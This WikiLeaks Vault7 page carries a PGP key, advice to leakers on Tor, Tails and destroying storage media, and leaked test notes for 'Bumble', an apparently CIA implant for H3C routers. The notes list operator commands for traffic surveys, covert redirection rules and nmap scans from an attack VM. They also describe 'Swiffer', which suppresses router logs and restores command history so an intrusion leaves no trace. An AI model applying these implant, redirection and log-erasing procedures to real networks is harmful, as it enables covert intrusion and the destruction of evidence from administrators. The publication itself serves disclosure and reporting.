This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
/ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
/MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
o+UmLKWyxTScBm5o3zRm3iyU10d4gka0dxsSQMl1BRD3G6b+NvnBEsV/+KCjxqLU
vhDNup1AsJ1OhyqPydj5uyiWZCxlXWQPk4p5WWrGZdBDduxiZ2FTj17hu8S4a5A4
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
J3x7gtxUMkTadELqwY6hrU8=
=BLTH
-----END PGP PUBLIC KEY BLOCK-----
		

Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

After

1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version


Owner: User #14587667

Bumble 3.0.0/3.1Beta Test Notes

Test Summary

  • Downloaded and installed Ubuntu Server 10.04. This is the library version that was delievered with Bumble.
  • CT 2.4 which was delieved is not compatible with current ICON image (Debian 7.8)
  • MTU settings
    • CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
    • Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
    • Ingress to Atk MTU<=508Bytes.
  • Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).  
  • Flux will not be used with this tool so it will not be tested with flux.

Progress/Notes

  • Sample survey commands:
    • tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 icmp -en

    • tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en

  • Sample redirection rule:
    • redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
  • Sample traffic shaping:
    • sudo tc qdisc add dev eth0 root netem delay 2.5s 0.5s loss 25% 25% duplicate 2% corrupt 3% reorder 25% 50%
    • sudo ip link set eth0 mtu 128
ID Status Task
2 complete Potential bug:
  • Add survey and redir rule.
    • redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
    • tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
  • Test redir.
  • Run Ixia test.
  • Test redir.  If redir fails, then re-try this sequence, but this time without adding the survey rules.  I wonder if the survey transaction log is filling causing the redir rule to stop working.  The translog stopped at index 4000 (is this coincidence or is this the size of the buffer?). A: This is how the score module is intended to work.
ID Status Task
16 complete Potential Bug:  When running my expect script, copying the patch.bin file timed out.  Afterwards I attempted to reboot the H3C and it gave the belowmessage.  This occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file.  This is not the recommended way to copy the file.  No bug to report at this time.
ID Status Task
17 complete Potential Bug: It appears that if the patch.bin file exists on cfa0: and you attempt to copy it again, it "copies" indefinitely.  Issuing the command "dir cfa0:" shows that the patch.bin file size is 0.  This may occurr when the patch file was incompletely applied.  This may have just occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file.  This is not the recommended way to copy the file.  No bug to report at this time.

Tests

  1. Smoke Tests
    1. Install PBD and Establish Comms
      1. Refer to Bumble command script on share.
    2. Surveyct_pt1-survey.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score
      3. tp cmd "pbd probe"
      4. module show
      5. redir show
      6. module start score
      7. module show (confirm score is activated)
      8. redir show (there should be no rules)
      9. Add survey rule: tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      10. redir show
      11. <sleep for 20 seconds to allow time to survey>
      12. Retrieve trans table: tp showtrans
      13. quit
      14. Successfully tested with the following Bumble versions: 
        1. Bumble 3.0.0
        2. Bumble 3.1 Beta (9/15/2015 w/o latency)
    3. Redirection - ct_pt2-redir.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score (see Test 2 for commands to run)
      3. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0
      4. Source IP/Mask: 192.168.254.6/32  - Atk VM
      5. Source Port Range: 0 0 (any)
      6. Destination IP/Mask: XXX.XXX.X.XX (GB)/32  - WWW3
      7. Destination Port Range: 0 0 (any)
      8. Protocol: TCP
      9. New Source IP:Port: 192.168.254.6:0  - Atk VM
      10. New Destination IP:Port: XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]):0  - WWW4
      11. TTL: 0 (don't change)
      12. Successfully tested with the following Bumble versions: 
        1. Bumble 3.0.0
        2. Bumble 3.1 Beta (9/16/15 w/o latency)
    4. Transaction Table rollover
      1. Reboot DUT, install implant, establish comms via CT.
      2. Start score: module start score
      3. Configure transtable aging time to 1 second: tp filter -t 1
      4. From Atk: wget --output-document=- http://XXX.XXX.X.XX (GB)
        1. Response should be from Bumble webserver #3 - XXX.XXX.X.XX (GB)
      5. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. Test redir rule: wget --output-document=- http://XXX.XXX.X.XX (GB)
        1. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      7. Fill up transtable by running the "enterprise" profile on the Ixia.  Also add a survey rule: tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      8. Check if redir still functions correctly: wget --output-document=- http://XXX.XXX.X.XX (GB)
      9. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      10. To futher confirm, check transtable using the command "tp showtrans" and take a snapshow of the first 10 entries.
      11. Wait 10 seconds and check the transtable again.  Compare the first 10 entries with the snapshot you took.  The entries should be unique.  With the ixia running, enough entries should be created in a few seconds to cause the transtable to cycle.
      12. Successfully tested with the following Bumble versions: 
        1. Bumble 3.1 Beta (9/23/15 w/o latency)
    5. Swiffer - Log Suppression
      1. Reboot DUT, install implant, establish comms via CT.
        1. Insure swiffer is inactive:  tp swiffer show
      2. Telnet to MSR and issue these commands:
        1. display this
        2. display users
        3. display tcp
        4. display logbuffer
        5. display history-command all
        6. These commands should appear in the logbuffer and history command
      3. Activate swiffer at the CTCounter Terrorism prompt
        1. tp swiffer activate
        2. tp swiffer show
      4. At the MSR console and telnet prompt:
        1. Confirm info-center is disabled:  display info-center
        2. display clock
        3. display ftp client source
        4. display interface brief
        5. display ip routing-table
      5. At the MSR console, issue thes commands
        1. Confirm recent commands were not logged to log buffer:  display logbuffer
        2. Confirm recent commands are logged to history:  display history-command all
          1. Disabling the info-center will not disable the command history logging.  This is the reason for a snapshot of the history command file to be saved.  The saved history file will overwrite this history when Swiffer is deactivated.
          2. This will also disable logging if a target admin issues commands.  There is no way to distinguish who is issuing the command.
      6. Deactivate Swiffer using CT.  Deactivating Swiffer restores the snapshot to the command history
        1. tp swiffer deactivate
        2. Wait 5 seconds and confirm swiffer is deactivated:  tp swiffer show
      7. At the MSR console and telnet prompt, confirm logs were removed
        1. display logbuffer
        2. display history-command all
        1. Successfully tested with the following Bumble versions: 
          1. Bumble 3.1 Beta (9/25/15 w/o latency)
    6. Redir - Disable all rules then re-enable all rules
      1. Disable all redir rules:  redir disable 0
      2. Confirm rules disabled:  redir show
      3. Enable all redir rules:  redir enable 0
      4. Check that redir rules are working
      5. Successfully tested with the following Bumble versions: 
        1. Bumble 3.1 Beta (w/o latency)
  2. Redirection Test - ACLAccess Control List circumvention
    1. Not plausible with current implant hook point
  3. Redirection Test (Lack of route on downstream router) 
    1. Single Rule - ct_pt3-redir.exp (script starts at step iv)
      1. Add default route to ASR:  ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      2. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should be successful.
      3. Remove default route from ASR:  no ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      4. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should fail.
      5. Add redir rule:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should be successful.
      7. Successfully tested with the following Bumble versions: 
        1. Bumble 3.1 Beta (9/16/2015 w/o latency)
    2. Multiple Rules
      1. Repeat steps from previous test.  Use the following rules:
        1. Loopback on ASR1002:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
        2. WWW4 behind ASR:       redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      2. Successfully tested with the following Bumble versions: 
          1. Bumble 3.1 Beta (9/17/2015 w/o latency)
  4. Redirection Test - Only specified protocol gets redirected
    1. Add redirection rule to allow TCPTransport Control Protocol from Atk VMVirtual Machine to WWW4 behind ASR:   redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 tcp XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    2. Retrieve webpage from Atk VM:   wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])    This should successfully retreive the webpage.
    3. From Atk VM, ping XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]).  You should not get a ping response.
    4. Successfully tested with the following Bumble versions:
      1. Bumble 3.1 Beta (9/17/2015 w/o latency)
  5. Redirection Test - Lack of routes on MSR
    1. What would be a good scenario?
  6. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (all ports)
    1. Start IXIA traffic (??)
    2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
    3. Set the transtable to timeout after 1 second so that redir rules don't get disabled:  tp filter -t 1
    4. Add the following redir rules:  
      1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM:   sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 -stats-every 5m --min-rtt-timeout 7s
    6. Run the following nmap commands:
      1. Check for open services/ports:  sudo nmap -sV XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 10m --min-rtt-timeout 7s

    7. BUM-6

      1.  Note: With latency, the ASRAzure Site Recovery (XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US])) is "down" according to nmap (-sP option).  With latency removed, it appears "up".

  7. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (< 15 ports) - ct_pt4-nmap.exp
    1. Start IXIA traffic (??)
    2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
    3. Set the transtable to timeout after 1 second so that redir rules don't get disabled:  tp filter -t 1
    4. Add the following redir rules:  
      1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM:   sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 5m --min-rtt-timeout 7s
    6. Run the following nmap commands:
      1. Check for open services/ports:  sudo nmap -sS XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) -p 21,22,23,25,53,80,110,443,3389 --mtu 96 --stats-every 10m --min-rtt-timeout 7s

    7. Successfully tested with the following Bumble versions: 
      1. Bumble 3.1 Beta (10/1/2015 w/ and w/o latency)
  8. Swiffer (while redir rules enabled)
    1. Repeat redir test and leave it running.  
    2. Activate swiffer
    3. Connect to target via telnet and execute "dis run", "dis clock", and "dis ip rout"
    4. Disconnect from telnet session.
    5. Deactivate swiffer
    6. Inspect logfile and logbuffer for any traces of telnet connection
  9. Swiffer - Telnet failed during session
    1. Confirm all logs get deleted if there are two telnet open sessions but one session close.  It is assumed that swiffer will start and stop logging when the command is issued, but need to confirm.
  10. Swiffer - Info-Center gets enabled while Swiffer is active
    1. tp swiffer activate
    2. dis clock
    3. dis ip rout
    4. sys
    5. info-center enable
    6. dis users
    7. tp swiffer deactivate
    8. dis logbuffer
  11. Swiffer - Uninstall
    1. Look for remnants ("comsn" and "telnetd")
  12. Redirection Test - MiTM
    1. Not applicable to JQJARGON.  Functionality not tested.
  13. Survey and Redirection used simultaneously
    1. This is NOT recommended, so it will not be tested.
